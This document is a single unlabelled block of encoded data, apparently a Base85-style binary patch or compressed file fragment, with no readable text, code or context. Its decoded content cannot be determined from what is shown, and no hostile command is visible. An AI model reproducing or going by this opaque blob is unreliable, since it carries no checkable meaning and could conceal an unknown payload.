zukxC-f}18tyJwr1HvE}~K*llID&Jfyct7O`#6%tx;HW!-(Gs^`CKKMho8J!RZ3M$r z%oXtSx6W+ThFTLJa?R2j2Xe!jw>d7W$U?F#Lw?l4`Q@h%|17jvZTp?VKp!L_{|W&4 zoi6_TUeTBTxv{`}3SFNS4pm+O#VoSDJ04~=oP^8EA;#o#=Pq8S8Hf+;?&oksYYx40 zie^&|y1gW{xsnDtL8 zwgQ%~atyy zgWf2HU3)puFO2Y%c104kcY$kMhT}6y+saxIm+qDBupwB9Z>xu+>6@fENz{!UM1$f$ zgI*ZRn<=Te9xJ;x7l+Uak+c%$#hvNXscbky) zp{89O=q=4-_WTA%uj{x=)*_IpHC}yb8v8BGr5R3+CL9zMS9EXbkEI(GK~~cOY)_H! zw^}X27;{M8uFD*{+^45qoqjh_BzH>V>mY%Uf>^^5k#g^`dD4NYneTu*t6 z@kvofq!CdT2LjsTUUMuhA+xf^ou7Mrq%ov?tM%&NUdbvY;bE!)zlZkGT915FgoM2x z+Nm4<+r9JyICXTdOD|zoQNDnzIciy&<{#?LxLl~2yQFLnd$miIRfSpdmdN`p&Iga~ zL~GJBr(NlMJcZ}zjwSivK>TiTl^wPF(Q-eIEq2WQ>PibKK74w6u{|h+>i5~~Oee2j z-Ab=OLqTkqK>u>%a+3CVFT#jnE-;GWlj8mNF0IM4%HBO?{Wr(2;lA4o(NqYu=A9sM z?qq{EDeY58^h(jCS$XW3-9BztL|$OVrQf44aPc*}k`p!yRvYMc*gZ|?lpjiydnl(E zfm^$C#b?O%rnXMG5PlygnG#E4g$K^{a_^A2@zLo%Hw#X3Rn>Pf<^gHdGEeF6T71F@ z1vrCm-Rn1bQuuFn7t#yU3!tvD3m~a4xs56mq4J3r_}zA=I`Sx%8SnH5vpxkC0=vKU z#q+#+9J2kL``HZGS0o)vrD1ie0`SKOBdd^cmIv6Bbjj!ll@XA_e zn{niifRr@l+=a@ZJyG%B-*h}NoZUTw;Qb*JreT=>BJ*#hU+j&O_}cQ7wL%4OjQoLF zy`cJy-daU#0(*50cvfparf{NWf4?-J=N@S=yy2F=pnTW8t`852|CoO!Jt8^)(J4F{ zgpT3n(v#3v-8oOEizbG6$aD1GMI)4ZJU4{S3j7+_S{>xpN=jOV3kIsm6io(g{%6>J z2CV=kfbK6q)KOyrfG7dMnR9SvELPK{^t$@m^rF4|KzaZ{eyW!QgsOZp*@kgXdUM%fJYY zr@B*z_Qgrmgc=(-crqZ%JW~O)PBt*fbx7-!b~KH%OlU2Zsfs-Oq_!96kI6bG2BDAg zv_hrVVEtK#fAHtx&4i6;C`XZ{P#~n2d%ChhWYBs6+`1owd7g8dW|2qA#YFbtlm2(r z`r%;qxC=ROmfCInM#OOnw^|ZGphw}mjm5te{ll6<_m7P3)Ki$R{P!KrG(SdbfgUP8 zIBPDgY6W6`#?J#LY_DBnT*^0Vn|9$oo&VrQc%9DNP=hX%2*D*$zB=Uw(LtjlK|j;l zPzAIwzxa!{w*5i2y@p2L&d~Th<7+ayY%}EP*09_%FpPR>TwY)|^id!`B?F;ZVOQp| zd7rviIOFY~#MIPIA*!-*y;J0JE+}GR609i7F{a*Gg25i|I&1*st}hYs`zThZxB&Ai zf%>Gdx;zH({Vb?#Sv6O^xzOz8KTej5mmFL-5KfM*vebTIKp|^R3dIMHc9Z$>~2o$@x=mK9%7PTfB}kbQJCh?Ke!i=m*q59tGQA^^z&K{;V}TBplzK8djzpM z&G{2Mh5_`Yk9^IZP`^mEeJiMQp1&$tnMXAEkU(dX8_e zAGmopYbfrcH~sgdzH7$L(K~>8uQmvFRI93;v5<9KuDAv-Tzmb}t^i-K)Czrq&q{>a zR=JtCLZVf~GW*DeqK4c_o8W~^)$d&Pwvi6({;3*-q@LyK;!reviq1c6D=3N$3plbG z3CNyd$}V-rrflf*+4)bM9%{u7m-&RjJDqy3hEmO4On&b@{FAdK53pCl_*(GDM0pS; zkh{)dLwuTg9O9nD`L}pZu1Eke`zS|K!d}}rpvJH%(qlW$^Y{KJehjVUS2r6mbpV&{ zciP%HI#6+oKdNXkYJt55AFhjZxS%?<{x=<%S_) zD(Y&(a@5m3qzBIVMgD*6ye3rc{#)%ej7`5GA#C|%RUW9pQ=HyxO1;dJAt%o?wg z(d|{A#EG!&MlzzK!=tv1HstsA`ShaS5kPji2QQQ}nkneY!d?Rax5w&nEUsaE1j7k% zNFBnJJVkx*s{-e6Vb+Iyo(ab4;@iSBhMOz3I@+@qkt^jDxdt%BQ{Vt+2xZLw2R8;v z?p;OW20}orUka;2-V%rrRF`|%=wL6kCr`WTa$qt`DdE*aJ<(L=E$(&Mf!I68uEBBV+8qj(-sv*Xrg4IR$_Wt zyfV`xg?>DUAgB9Y`}iho1`g;JN&{c%5QI;#EK`0SCS$^>PUPwFqVKL>9$#S+8M?p- z^ynA3y0+L%yD2!B15`-UWY9J`7_aJ}px3t_JZCS9%rIIQ|^-X&ntqNh<2w z>hJC8PFV##_fQc_)mhi3gGd;>x!);oq$4tS+=RN=T---2>H_C`DbUrp&mA887N3_( znejY7T$w~ONVn@al^262+@^seBvm-GaW>&@TeL^JQt>w%yuQ;9`yY?;|7Xvs(l&AQ zwjC&|qr6hjb_QnU6J~YJZ~A{&8~lLU9ysy?U3wTRh}GRD#AfXE1S@cXheGp#jVDjo zA5(+&C!QkApVDr5Qp&%y8Tsk`+PsO3Irq%K!Dk`8)8}Rh<=|EuSt~vM3?~X?(-V)k z{#v>xyC!-gkVKY#9gWI%bE7hFM8qO7hjvP^x%r1F z3s#&u+mS_OP9syIwNBZ5q^7J!@I8Ms+!H}4fRI$avUTYjqpsV zbtlV@d#I=v8cLL#8d#qRc3e|IiBZ@SGVIJNABx;eXr|0KWCQ#-N8Sa1kRv~mZ?3`n;j2a4R&K2p`54;P3|7cXGdy_b4 z822A-?iSJ{;3s|Ll8%)mq8B2Wie;`DUo6`ufp{NPNgI9t=#vuF;eOeb1}IPOk*vVW zbGq!XkmZNYy5>foB?S#=*ClYju+H?1ApCli)Qc5=VX&&}!{;D0Me9b)?B-lxL2_8b z6+1WuIPUxL+Qfpg%FNAUYPj3p{CIIseJMoxLkVo5X<;%bgEG}|U_oK!Xb$o{E=8tL zKW!noHQmZzXR}-L0&{0GauFZuN4(H*saE6tl1}H;tzw>N#b8!;Qi?BWsIr66p;bqK zvn^X>91-Zev}M(Pzh(ptl{X!emq?zOym4*NWs;=nUJ+CDrjnJh-Z74c1l4G}gDu6k zI6%-f3V%-YTKTs|yiKkTJiA{n${}MyegZdrOj8yU>)Lk~sDxRaE8QI2rNEA79Y%xB z>3x}|82?nBM|PfAhL`5RjknV!Mjo%@6y6lYGczsO2$2&ii2n?u5)3 zfCQP~V+ND8i|lT`s^#Bix_!^P9_}diY~5-Mx!xc=w<3=3qJ7o;IHqZn6N(drWI&`V z^3nMzn`HmM9pYbq&hE;n^u=pfu?@}>n^%kNJ~stWxib#u7s2llP2Sxv&0sJKAFa(_ z%8Bs;jE%&pxUH9ysy43$8TRFwXNsm@2{@fKO@G1<4KRMasqGN10hbWbksEnFdlWR- zv{Pwoo_Rcvv#>oo0Fn@}7S)t%+Bsv|axT7$b-s}Zy+W``IeySURzt6u<8T+2!TpY0 zR`KM1e?ye45Up#kN!$t#0r}cGUZI_kg?V4wMDoJ#&`!7G>tVu=qV0sOwqJZ%mh}+b ziaTMLyxe+4Tl!w<>kL#|mPCi;%x9m%(e0h~3`dlgwV{08S4G{y@A&ajMA7APzxge6 zXWGi)Q8MV_oT-wR{++aBK0bx-njuX0E>-yVsjmBO`Yg^>Y*FPuv5qQWQueDsJFfEe zCo|p4J^=J4Lf{s$G6pL*L$M`hb;WA|?YM?VzHQ5D!KS3O>j377WF5=FEZZ*At#eCL z*{)boqHjme^ky6O>J-8jy42#;X4P^qz>IY8_PBVK^(#8Z9+RLeZWt9@!Ft7hkI7?c z+%#wpdVpElZtHv*=%s)a%iBd{FRy;>zMC-P~cRZ;UlUDKOD zk}_<`adDpkgOcH4{v<`3BuL;ulbGAHWvj+HA@vc+zn5y8VyOMM<5X}v@e7IetxH}32~C})jncwSooW`THdo|I~qYL;Y$3o{p^zYOk@DE02{#Q z3VTr5AU_c}8~%UeceTR<+c~BjV$%|}L{{Eo`64MIwru*@-_&b*E*OS^LCg!=9j;c5 z1pgPWnzdsJ#4BO)twkr-2-*K=CdMG8+EL`>)4S^sb}BpKK8U2FtD`;Wf*C4LXZvYoie}8oJx%@e5%}sz^sV2{OV9Z>|Dxv+PV)y!3dwRvA>O!KPQC z?h;9e;|f^h_N`u__q%FpLJ40R!2*EzQofV%mF&|_p5_zu$}O=n@w>%*ES2*KYU3B; zFB#2zVMy^$dCg;!AYBUaw4nGPN0m$wec%G>;SO2La(^hX&5nT>QJU-OpFw$AMNEwP z`YC=Qy`~WIEv)pFy6o@Tm_W*ltW8!6K1VORsmh?S1x^xYS0MQG@#fQUgjfmrrY3zc zJmFb%OOsRl-SGwC*^kFP@l_wI?hOz4O!d~9gBC`%DzZz{j!W>N$|$9= zW`kd~jTJ6`Xz?Fw`juB0dlEO=ZA+Wq>&eeam%Nd`HK7Gv*n;FDF9qaLT zALZ?3~468fiYR|c2lvL4W5g~zzhp7`y$3b+JO%Urk<-)~A-r z$gii#vU4|~zDl=;`Nut)gom%ZNTGSltw-}q%iyl&?!`N8GaCJyaPh{7uA7c#0j0rf zYWLLSTG>B-+wdt?<2w)kCYkG6ujQj1My>+>J6ph!hK%&Tlt$8M&*-YbOCE@LIYXUF zZ#1fMN(;*{%BI}7ac}rzkJ?hk^x0>slxkb47Kb%5!D2==!WlI{x*USm5;!C|8I#l1 za(Bh*l6tvl{ot7rmwE5$+%_@GC#;d?r9T%W6>ptso$IQ&IaLBKY@@Y z4APna@#=Wq0DfI*S-u|jrG#fZ$`Kq-un&*V1KDWd7K}v~j=d z+{UT5s3Y3!fDVPTL+|wYaKb^L$JXp4YrhYSw;=Nnkxy6u3Td@{GoFoD_*j`LS(1Yj zusm}^k_E!L=MeoTql?5qQ{Wx77Yunf9K6WVtWk`3N*u~8BUdRE%a#{bO)UP6Snx@| zpOshTG#~L}w?8CcIir`1B;;J(Ts+?lCSp3YCD6o{zD*)L)M#?MT+X>VYmzhMnIlWb zp7^SxH%u10enB3|_%(B)?qoV}60<@N@>8J#C#B;0Aac1VjB=R-T2hVDl>OFEIF z=Wx>Z?_|nzrD{Vz&s{0$ll4=wA-!OUR)UShc+HFX>ZS`oTh??OAoYCmv*8l z>Jn|R=%5Qzn)hIMHylfEq3y2?|L~TM$@k?>NzJB#+3HTF{VHZrzYt;96c{bfvNZ3x zF3Hcxw+GMhyXogV3FO(ZzTzl+IJBZ%8!qC=q$gSs@`3T^3!dFO>zbE=p;ZopHz*6- zHd8wzUf}Wi5bF1)^tUK1e!)8F5%foUE`tWEMaJ*76l}U1Hr~2#9ZlZ8pX#w1TQjdc zY=}%XqBIZd0`X#HN{i9Sa1s4x>n-LVlegiXGkCS|swz0Qm zI#yE0C&Q?`6I<`3ZQY?#hx{DdmKe;qBgPw(ai6A9Gz|L6CN9`hLGii1Qp<1OiDTRz z@~d*{W4n#&Kg}o#?NqaRCEO6eDtBcq#X~yN7g#51k=JZCc@OBNiDX?qMQQDw->ZCI_dg6k0CQKCELc3x+p>&P$i=VvyC$}OGP90t929@k}% zEpf#zM_Vfuq&Ui{rFZ;w6XF4>dg6^-ZGY$eq}c`Ckq7MK3M!K{_zxk>Z}06`sqT0k zFaGY!I~F_sG&}EMTfV!t1~kk)C(_GDU8RBo2(FP@W>$D#I|0=pZEOQ(j{f_u_r<9| z#tkQxN)JsIV-2M^!8P4Wi_LKMF?i}>WFt9N;C;C(vi1^=SjVLl>&6di8?kxa(d_{{ z-?{d@;QK8FP?hyHBUT1$^^G9iuSI#b^Hd+qDtQyTU+a2kacoCzI_o!1^duvfAxv=G zl4UfN4_?|aLbf(VK|(tkebB|$b91v`$#8r&cN}Z4RJw(w<&__4FFZbHKx%zsfug_* ziSTz0JLuKC2L(uphWWO(y-s3<&elyRHACvPYU%TIJ@#4UX%L>Tsg@L-i+woe-V3%k zLCPnfXt5t>50m!roMBW>vNT?6JGS(-Wsnd_Co=WM66u+^t4yK(krEb-B|xT;zLaf7S-l5(GmK#@|#T^U1>xV@AA_X$R6RZ#_n_)P9Q@digS(>&vTi z)$CO<6Qu4qidH^CjwskJ$hetAF8X_C{A9bhY{nXVv1aa(aEzM$^?c9o_v6xE#d|{D zzfZ+~_~Qf@Gjh5lTt;eJdY^fZp0X@&*ERyFe&QC$l>I+}t)!Si5OhV9C*xRFw?>sxk8k&i?|FUGcPgG8s)~$pa7=k18lN|p-(?nIpQeQXG%ZpS z%^n0TL&y{iVlr_+7k6Z7O2cER^(>f%67FQdHWtSQam22x2f-=}yQ>`?G!~sY({MOp;mSEC7_;UNM$r)(r~-( zuwmk9X8m|eJO3fRA$nrlpP9)wEo}wD>;1(rswQwksLNG+fynNgGxI3!2SN+0^V`cW& z#@g=r%HHmgm3rTvX~}39=ULU|V(X{vVE~#shD+YztEE zeyPqCQ!s~@Ng@oFbV7re$X~JCq*?*x@n#37v)Cf*S=T9x9j8}&`J??l&IwA_pm9PE z;zGTyH_AVa79SN$7ry%0efbWMB%QWYNp=tPCCCCS#=rZC zS0tj8`7P*An?T*FCJ%R`Iy^dQ>tBj8Mw-#krZAm54vDGTk&q_^?i%UzWCk^f%fITf@m zN8LjOQctPSv)`l0|Ne{XMyPA>A~5r9aH?u6k89sxr@ID^e5!bikz#pwy(&pk-F!YY zn2A%3FP;swfKsH^f_81`5}O3f&t5OCorDMAI-q)OR;a&I#993@if6qj7+Hx2W_Dg0Y zYyolDbV44Aw$mcRkx*x%-WoNP+G7qU12k97hd(~Sqf4jqn?le#f1JpnvQur zLf-6jNtV?is5^mErZYEeo?sdpTL0BCb(fU-d)!3cuaJVf=yWDe_SD{R^`pw|oFIt{ z^CXNd5#ZA>z;!zOVX<$ZXk)>)8TUvpd}$L1-Qv0xnesP9M%LXy`t--6)~Z$;l3f*X z3<#i#Y?dxU+-MrrmRLaO{G`aUUGBiLj&8}DZdx^hQbnuR*ja33zL|q_q&}Dn-CPn( zL4z4LPWZF4e2amYufU1|<{261MhrYqRrE+iDpr0r$N->a8yS4$Ql*EeqN#&fneN1pN|NP?*+}pAm|3S69Dc!-#{g)yGJ4 zwHmO5oJ#eNfp-l?Q$G|)9HN7OL1w0QTmy!v38@i*i)qWi?E?KYA1(;779@OUC7cR= z5N3Eovj;lC>&%t~@^)mikv|bd+O;oEQLNpT0U7|lmVFDNmY z^-DVow(&W}UAJ?}C6C=rJan3*@OyvD4D{UVJmg8Sj^ZDlc0kuB82O&Vth%y5W$1=! zxkY+i@_hZ=PEIL1J86f1_Wx*=yXR06g(*6MpEfg4?T~N_jQ?k!9B%E|i`Y_US65Yv z@R7$^$&kLDhi}LYO(BlYD0oh{C!12@vkVqt@TsgiCy)azA zlDxYdnxZx&#%_YBAUHQuC+;MMP`pXir=5WMcmE8gH|Z{$Vm9_hUVr|x(FK#{c>Vzv z5zjbt3%$<_X@fRI_wprJ2oEfA`wjKRGv@Qq5Vmv zp=gZ;Nm9VofN#P(z`3B`3F$3!0@qVG=J0ylq!(Yb7Ujt2=;-91Xy0&_qs{wTo4pD< znolw>%q=5J0nWg5I==v@lEtebBa^SFH&IL%???qH{sOn_{EOC;LjjN)3u692 zl_9!fJHNqY9_cr5_fb=HI|JX%WijKIAAB*(0B!LQH)hYAxG)Po!~CPEqn3I33ZDN$ zx|B%tIciIte~j=@bU6a~Y!If*5?1tu&zIE4b<13%@x1Gh;+9Li{6ml)VN5<)2B_KY zJLVI$g3Pmvw(C|1%O~PR6|p{7zPH~@?6*XGQe3UNnt#Dz&_}SwIrefe&RK^a9tj!U zfo|1GuZ~khN_q-pS0^RvG6p)ragz$AGQS>eovJ)bP~0mDwr(?g(xfemo!al%4Sf#z z!=mRUb3NjMVy9>_%*GK>ed9uCY8)^WaZAvCLE3`PKn|zAU=SD(j>15`TU|S&x zsO!v;KW)i%Fcz}v{Rz3%N$l7gfFD+8u{|n0%jMh7lJ?+2{|zU*=qBkt%8Ro+5kM?X zY&RZ3Gx~O@+Fecw_(%Z}zUR0%rx@iWvvi4~98HcNvOlUE-{)fA)TSX7wI@bH*n?!@ z!*>%q>avAN%%PNfNRRwQz4Oz*jKw}AdQ{^bed|p-wl1mpgr+>c{rn*%u|J0xPdJlD zHrdL!ly3>=STc9H8tJ5AsYjXthxY$yk|eqoPbH=nPt0BIcqdyFfv-;>?+>2HSQ&~Q zBWa`=4A}865jG#ii`Cce@u**OjGpJP(R_H7^HGG(Eg@$;Jbz`d(qf!z>Ei3L1+rrM z_qy*@n-*2ma~st^-jDv&t?v8Mt1{7bc&vJTj6Kh2+%&+ml+ut%5y+YqG3SKt9Dgey z@638REWb>Q&|yY!6VsXJAz|Qa@Gne)r@D9@5BFtE@|!0PHNz5mcAp54=_0%YV0&Y4 z+a-@~FSgssR1wGVuq}~*VRZD>#+;gD&a~CfDWZFD-j_p`t1vcrsR=13<^as<#>wbg z^4izaZvN4{o#D#?q~a(xl$5ijibt|S5O*_X+AZ}-mlKq5*Jh&aquA=|o`*$|lL&fi zax^_ltKn)^kLCPTrEy~Z{{E7C@~MH*SI(_ z0YkP9V7oq!kzBoCX=R@ca?X5V+d67;>G4)Qs))N}2GHKvGCw4#0``3E`jb~Rgjinb zLHCn`k@9ytb&no#JzA?g;_t$vPqt0$>HyC0uU!7`^oJ{OjN=CBVW-EBbl7F|k{ok?gi)7#qar!t;+N4&mTh z+3O-pAZe9Z`1mX6-TF|=DmK`)E_e<^%hm1BX-gdLSfrsC#o`$&W1n`U+ubB4rsmzx z0Cw5wjak+6+_LQtccrZrK0SXP_SBt*&yj?_vS$`2fZgXT*(@rrbU*RFT`8?=Y86m@ ztl_%582D}~Hx;jQ={Z9EtYIH~b-j8HT=WOW0)%?{xqq^^vAD)T0Kw)-FaRerenF z=zsY5-M1mDKRbIX$hzs(J8JDfA4F%n%mXY1Um6At)J-xJ%rfqp$2b`XDUr|l*bDLY@@VXE(YA;s_I zjD}CttxuWZN&U633x#aIJEUi{S;(6|wD|#B=k<1N@o|cwb1}JCRw#Zyi(_G%_Z=qd z6_XXH2gD&%Y@6rO+V4yY&68Lys>mTCpE6b90t1yByxMVenzSSx0y;YjFKhYiI}utL znc2a!KQ(~yO$S|IR35)w-F~&F{k*aU&74#@5hsmpSRN{DWN_r!d*{8bOEOwD zmdzS4X2V*)W1@ApS#dIOLw5Y5xu$soj|-iNY~ML&T(R+F)4%Lac6q7W57;N^ z;rJNWh;zwVpX+^t;$BP%=XXFywqK_rY+WT#Z?{VEHw>BX^T{mjAg>CZ&C6pgsZ^|M$vvfdw18G1C~%7r}7ax*BmDg=rv*o#drHoA2oqq zetj3QvG9QBK|6oJPow&qLj3hTL;C%M4-OM%7^qEy4iiKlXD#`+KrSI?38h2GDg71N zmVIfAs(`QqdVny>b*F&bd*$=(P5}Hn1Y$&gyS-<$`@)Uj)w;0DagG_lI+mN-mt;l0 z+l;a>!soFMaBcc>1|}x$ypc9**o72lyAFUhx&QFv^kku#M*Q6AI+ax1CYk2dcE*| z8chtrJ2AX=QDD;oONVV9ZqF57PTv2m%f|8-?t9s7TZB5fJa3*x7GWuugMT@c8=SI1e-O6J-SbiR-f{uL+pcm+ zFs=@O^iZ$8&XCLD9}kj7b@JG?IKitbldn$aljmkJ9E(!+y2~`54@*YcJOa(JM{Lwp z-(3lF$@+cY(^NN-5n|Y%-0JF_OYOwc5bJW;+L)O(XWqX*DwXWjcf%p4u_V^Vf6wN7Z!4_t|0EqJ=r_=OS0@?ZY)gr$(?U z@TODRLvx~dW(km{E#JY+`fPSRBaE}p)CkA{ca1O0WgaM%2JwXanm>H>KA0|gVeH!x z49H6Z2+(L`ay}H^`lj;8z;cRWgx(V+U-rosC-WD<-SESmS{itrj#FE!wcjSjy2tyd zsW0Af)}p>W>c7lCSXZ?=%XkDo3SuRqV)y0aA?%ulBt88)2tQo94aGBVu{UEK<^Hc=ca~A(N51)Bq>Oh_gj_hD*ifwo|cxTEC-KaaQ8+F7n zNPDie{~?ot%6{d;#Xe1$q`jXZ7gK>D{;02`VAy z_m4|TZ0iUIu9afj(@H0=%V8?}Ri9`8q{cqp58`08pCqBrEXqpnMeZ;kLw+EBkP#WBE1{C`n7a2y~5G?mkjsx0)L3` zgXIZ}JQR8ICp>ecPvc|@VT;y`I2<{qUmw%n?t}UHu-`)y`|`m|m~7mmOIMN1Ess)~ zjI5vOP|_`tfv8O5G)9?4*UByqNN7;Jz;(Og)0@B=ZU6yHv8vL6Udph*FMQ?)%1gE^ z#rO?>n5i*W{Iue3`jY`*lN{VFP*m;>P;WHd9Egkm;iYMs7k7GSXMNo`#2m3&N!3>J zd6s^^JMg9MGPh7b%p$WGPgUxOO;@vZk!1Pb;cpbLZ{+^=9OfX&dBiJ{F1)Dy4#m>K zj;Xd`>dTbVozK3K_v?oFs?R>z8@D~Ge%lvz?QZ3bYVuR!UaNor8NSFON)j6?U$%yA zi3T!l(8J$lN_@(VFf_6U+MJQ54;E1uY1~CuoLz7{O2FrQ5%GZN90T>{#W8QHn!05R zrcAIFjwwIsc1Ux+Dw3{pyFcXd`Lqk=uFnzXWZz{Z6Game#Y#?@wIrJ34quChyIt(K zgHCxgrpMb{bED4Nm7l)k;ngIckXwE(`UbZTV?j@G0b)DI+1@`3TUPUrW417IkM}U8 zK|5zn?wNK+e=Nb%L$a4UaJ{gT8fDiyt5H z-Wo!W_}lPj5FOBLR(=Z9+HNU%?Sq+F*8m zLiGm=(5pwD71oFySjQGnRGv|}e<38uVDaRodD!D|v>-#TR>AP$YK@d2X0BNEVck`C z$SUlkk_|i8v8QJc8+C9Go`|=_CG2SOFGB=czr8kHpY%5j5f*-6A*LtW33Lsw>aQql z6bq))C;j#eZ-23g)ggjAW)|zQ6K=#iF|(DVbU3zGw5NnIHuON^78$8*2qo=1fM>PREu$zNp;g@N41Kq2 zAOky>-0?@4W&0Al`O_O8F2D5PqRm!pJHfqg)*$5>O?+u2G2%j%X36p*=^!;ZW$p{s z5Jr}CwXP#mwbWG$s)Bm#a%B`nby+7STZAMLzI|YwrD285F?F2yD^iUeTr?S%?sbg?51|!taAe=*IZ<4ywd2nLgaa7P=xuM1tn$I& z75Z}V1&vR+2s@UAM~PfX-WL%anxWaZpzDvJ?kMU!`>~2Hnb7=?#t50Bwi7GJh>%}0 zYCcDRN}obZh=#FB_~L^2i4G6QU58J(4Rxn?qw;RK3{4}x-0FMiG3-kMI-J(wFu-19 z8L>LmZ0KE~pJ!OIZhRQ^NM)}tSxM#Td)TMXWpP`=AI+O^H6vKiLu59g1eMaviphncS>)qFi* zlMEZ%Hke1X5*1%X!0iW|6KUe|(=mea54VxaN7v!eAAaa!YdQugL@$rM(DTfuMFodilqnb-!y2e)Q!^~$6_CtS3%7D!y zGDwxU)80vbFBmP0MqacAUX-sc7T<03N}r1kD&21CSKxKFNdDQF|E2h{i^yd`qqDCt z9R3?8VY|q+er^*S7*O;>?^12jhxBQ$xWpS7w?8|#n4y&Bo}!P@f6`DQ2iP-cz`n42 zI^Uq(T*dtSqQd^`$vt%AM?jJaD}?JU4Zla|dudIRbYdi08bPKTLa~pdC%J$}XBV7u zF8io_S#I&hDvaziS{~YtY8vGl69%>Eb=c}s-WfaCB~UwU%Qe^KZp6#xvTCq=IorN0 zdbk>-LwPVl6(w)bH7i2{9PqLtkI^IhZnpO&>tklPe)NaGdNQzPsOHdrP%*UJ1)+=l zOI>8nB?-o@U~Rpd@1j!RRwFN6wfk41uJ9z^@EQi}R79Ti zqq_D!sQvx|^uw-$EI}hv0-B?>yt6r17hT@EaL#DwNy!eR7d=iG!r%XPb^G{P=@xfe zN}ia0|8v**Sxl=F@-!fTvagshi0uVB+YaMd>ijIFCrFAqL=SM1e1q=P5`7a8H1D=7 z`0xCFNa_g4*icU%@R}WvE#Ir{GGG4X(eQZhGvJ>>I)j_%LD(>Xlbu5daog7E#Dc{&IVdd z8owOfIDKS!i7?Z(4lPX92usULx^X1A_^?>yI7JakU!RILpgDQ!S~PAfYpNZ0Rt2S; z%O_)utB6P8-deooP+I*gcO5izX1G7#iuI*=nUT0K)<*EHOVGjZ&a{fHIrLcG4V{`f zAcXzkG(Ko(^T8zQLDLvi{)>dApRj^K-D>$invuG=bYI1{k@V>_jtFaD5*ZRC^K2R( z5m1gaCdJo9+ZU*$3S?f$2ZjA1MEv z=o=)ZnO{>=JtNSS>T6=nN%@za!Yk3C(%hQOl|mv8VmRL!|0d)T6tD}rw;%`4PfZt1 zOYDXKh#_$+WOCN!Fip-<1c2QI)BVBTB8THW>Rna*Mf)OB{w&rE#bWMJyQkC1zcjOafvnhAMRP*J7m09%Ez~kG!>sCk(ZE3h_M-UAe zf`>8aRmf=5r<{n_PY}YbcGZ6yQGSYet=8?_@`Kzm!5k%c#m2;>DIGS$)_n(&#+s+z zA{GS;!#hULD=m>z?|c_z&a$XnR>0&slenqZM6zjI41ZT{XclUPZK&fInymU1Uo$JC z@$tcxs;Z^AG?z`;t#FtnYv9VQJ`>*{WqIe57f>u*#~C-Eg*QtwKe zv((;_$9>x0M^n&N87iqG-V}992nq7Lu&byoF?`_~IhWLS)GiD~J|MRJ+E8_wqNjg- zi#I_1)z!`5IKA!=ZQJ(7>q%QkJSK!g_#vL?Y?WBZxier z5+3A68SdTh8(|^O)q5>YX>%Z+k5N^EX05v8MaSf1l={!En=!u;2iNwpS!q^rx~gpL z*%&;_%D?0u$#*P(BT2U|@Q@{n5!yt(&5X>=nOdIg@{-N;C(~>R^L+PUY$jk8e52v3 z=cw~Y-#H6m=h_-09{uNsKsoh z0ZpJ6N7RC?KGDkRah2gX(S7VsO|_h%w}#Mq53v+MFkm} zSxHa3a+rYN`>s7p%mhMTV|wE@JOaLU%6q&jlEj6Nv(I~a;i=Fbq^lZ^Y<;@hND7gRpyA@+~t)~3KVf{-K4iXy$!rU*=;@DO-tlS z6*^`N%rKj8Q2%^>o904Ej+9)-iCOoln+XdFH(W-{%kJ47Py^g>?nS=# zL=-+E6fYQN6&W?#nUP(*{PFXkTfu_0Ri`7z2?(ifyOh-1R=HhQDb+o|8_XGW386#8 zh3G(I<Iwf1RqsfqMO{A43K=H-B}xHYy}q8}2k$lC6#F_S6<*I0e{q zIypgjTTb&4=+|_!4B4k zgCGlg7&36T?B0EYgf-Z$xbHH$&T*0zat*HHUs4yT=kJuDrBXilK&fvIfpU+$+DuQP z#YZLr!?|mVn>=ERVWu-w>n7`{{FrSz(cR8kpDh-9MOFG6D3=AgM>hws{A8mg!Dv8b zRkpuF_qwq&G8Br?To9Tn#5y%KS3eVStpGqYTowjgti``BEq_inqyD#p;S4e-$zTz$ znvi1(a16|TqIv1ddChA>z*4SnwqLpw?9P69%j@}DL`u=R#mQ;*@ziSiKN@Ywa6<@L zd8abKPQ!0DV^LlN`QJ{5`Sm0JuH&03XLRt1?ME#W2JwVIMWdGHET_aR)|QEqL818O zmM@n?<;=g|Nu6v!UZ*@DMn+JXUkfrfUsP!-)+^umzTsb2Uiti<cn}uAL z417G7MJ2D&sPDt*f<|;0WrJ=~l*y?Tv+&AOuXY}vtiriJje+Q@x}=%58=Q2Wd+tKt z7*{@`J|`+My;hos1~mbKBFkg1nZ=cxUY<&rn$u%I-~{x~?VtbA`~|`(6QGXF2 zeE+-;LH6?Vj0JsMh?+=(23Pfz(<$VTN$0n2~ZZC13zval%k_aLMqS^(c72N#8vpUyO{hR^|Z40VQ?&x{LL>Wcx z6Gs1t&aovi%{e-YzmugA5}k2?{pbx9_4%rR{GAk5)YP zGa1yf4&B8J?I4qD8=ij4!zj9qPX63SCd`N@0`%8PynOUK5RQ$W(Q4KN6Zw!NUYn7z zPMV#&Ku0Ue5@sMXU?#4B)XHQI!!alcUZDt&YZ@%bj30pcI@a85<#uN#rG+q~*2jH2 z7a|_BBfZgn7TPc7XodjlCnTIIOjcgPUH#K|6k9l}$_He%zirzx4JLYZs4~tRPWDGbs!{ z89}%>E6UJ&q$BwtF|iRD`cBpgC}HhZ=@Hpd=;nk0<8S=x<=BzcC>8=Jj+V<@?N#d% z-?wmP4<{=z2)N2X7a~t;46MVvHI*o#E0`2I*ky)cO4S${vK?$ zcO!NU4FRi5aA#x7?85dZbo`ykHnsA%LHex2>M1tMzr{F1cfC3QenUd$4pr3+NbyX^ z882*FS*fg!F6#JN`|UyYM?QQ^PEvQe1(Wwb8*~l=+5Rs8nidWD$j$N@wG{_0@J{TUviO_~-%Q1~U0z3S|L5)pakZusJ z4SoA;yt_=r)#0nXyqIYr*rzKqePDBu3m!3>fZvw46T(JiqPR{`#a~a|nF@pM*Vc{N zW0CuA#;=T)-CX{PoPJM>call^X2R8O|DaL_P_26dTO|Un(=CU~g$EUF!EXV-c#vI? zXZ>Tc%8BYJcftQ@85^F5B?eNzh*;Y1E4Hgy4ce6{lQ%g9VP#l>YYXz7XK)(m~%R*=QzfT0Y5~EsVJDq)T`E_itXK%NJUH z?dfcq;Z#Dj_Zut^aL0;kO)UXW$CdgSRW?nU8pg_0&r(KRrwMfnzB=h)cvXSNG`%Ym zJST#!{_^eLbev9e_&2G{p-)Hxi3HJ+t(OtIyJ~2N%B2s1HP;cPTnxy!!mnn6F*1+- zBaG#R3lgRhvEt;+yCe3sK-9uti+?o6#I?#Y@hpa2Bbm4Qd`DhGn)R3_jUciH4eK+- z^Sl;NpNX?xs_NX znKpF3JHh+_eC2Qm;ix12@mg!8Hm|Dy5A6D%$x*OWd53RuSK~Wz^B2G0U~cAQO7y(& z8U*Vb4RSM{^VVRl&F(%WXMrUHb4RMJiR}AIv 